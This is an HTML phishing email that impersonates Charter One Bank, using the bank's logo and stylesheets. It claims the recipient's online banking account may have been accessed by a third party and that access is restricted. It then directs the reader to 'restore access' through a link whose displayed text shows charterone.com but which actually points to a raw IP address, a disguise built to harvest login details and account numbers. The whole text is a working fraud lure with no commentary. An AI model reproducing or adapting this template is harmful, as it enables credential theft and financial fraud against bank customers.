<html> <head> <title>Charter One Bank</title> <meta name="keywords" content="finance,financial,online banking,personal finance,financial services,electronic banking,online checking,home equity loan,personal loan,cds,savings,wireless banking,online loans,money market,commercial services,business banking,business checking,lender,lender services,small business lending,insurance agency,life insurance,homeowners insurance,disability insurance"> <meta name="description" content="Charter One Banking Services provide our customers with banking services specific to them. We offer financial services, online checking and a variety of loans and insurance services to meet individual needs."> <link href="http://www.charterone.com/styles/main.css" rel="stylesheet" type="text/css"> <script language="JavaScript" src="http://www.charterone.com/inc/mmfunc.js"></script> <script language="JavaScript" src="http://www.charterone.com/inc/cob.js"></script> </head> <body topmargin="0" leftmargin="0" onload="globalInit()" style="background-color: rgb(255, 255, 255);" marginheight="0" marginwidth="0"> <table border="0" cellpadding="0" cellspacing="10" width="757"> <tbody> <tr> <td valign="top"> <table border="0" cellpadding="0" cellspacing="0" height="71" width="757"> <tbody> <tr> <td rowspan="2" height="71" valign="top" width="157"><a href="/home/"><img src="http://www.charterone.com/images/nav/top/logo_cob.gif" alt="Charter One Bank Home Page" border="0" height="71" hspace="0" vspace="0" width="157"></a></td> </tr> </tbody> </table> </td> </tr> </tbody> </table> <p>Dear Charter One Bank customer, <br> <br> We recently reviewed your account, and suspect that your Charter One Bank Internet Banking accountmay have been<br> accessed by an unauthorized third party.<br> Protecting the security of your account and of the Charter One Bank network is our primary concern. Therefore, as a<br> preventative measure, we have temporarily limited access to sensitive account features.<br> <br> To restore your account access, please take the following steps to ensure that your account has not been compromised:<br> <br> 1. Login to your Charter One Bank Internet Banking account. In case you are not enrolled for Internet Banking, you will<br> have to fill in all the required information, including your name and you account number.<br> <br> 2. Review your recent account history for any unauthorized withdrawals or deposits, and check you account profile to<br> make sure not changes have been made. If any unauthorized activity has taken place on your account, report this to<br> Charter One Bank staff immediately.<br> <br> To get started, please click the link below:<br> <br> <a href="http://68.213.221.211/charterone/index.html"> http://www.charterone.com/home/default.asp</a><br> <br> We apologize for any inconvenience this may cause, and appreciate your assistance in helping us maintain the integrity of<br> the entire Charter One Bank system. Thank you for attention to this matter.<br> <br> <br> <br> Sincerely,<br> <br> Charter One Bank Team<br> <br> Please do not reply to this e-mail. Mail sent to this address cannot be answered. For assistance, log in to your<br> Charter One Bank account and choose the "Help" link in the header of any page.</p> </body> </html>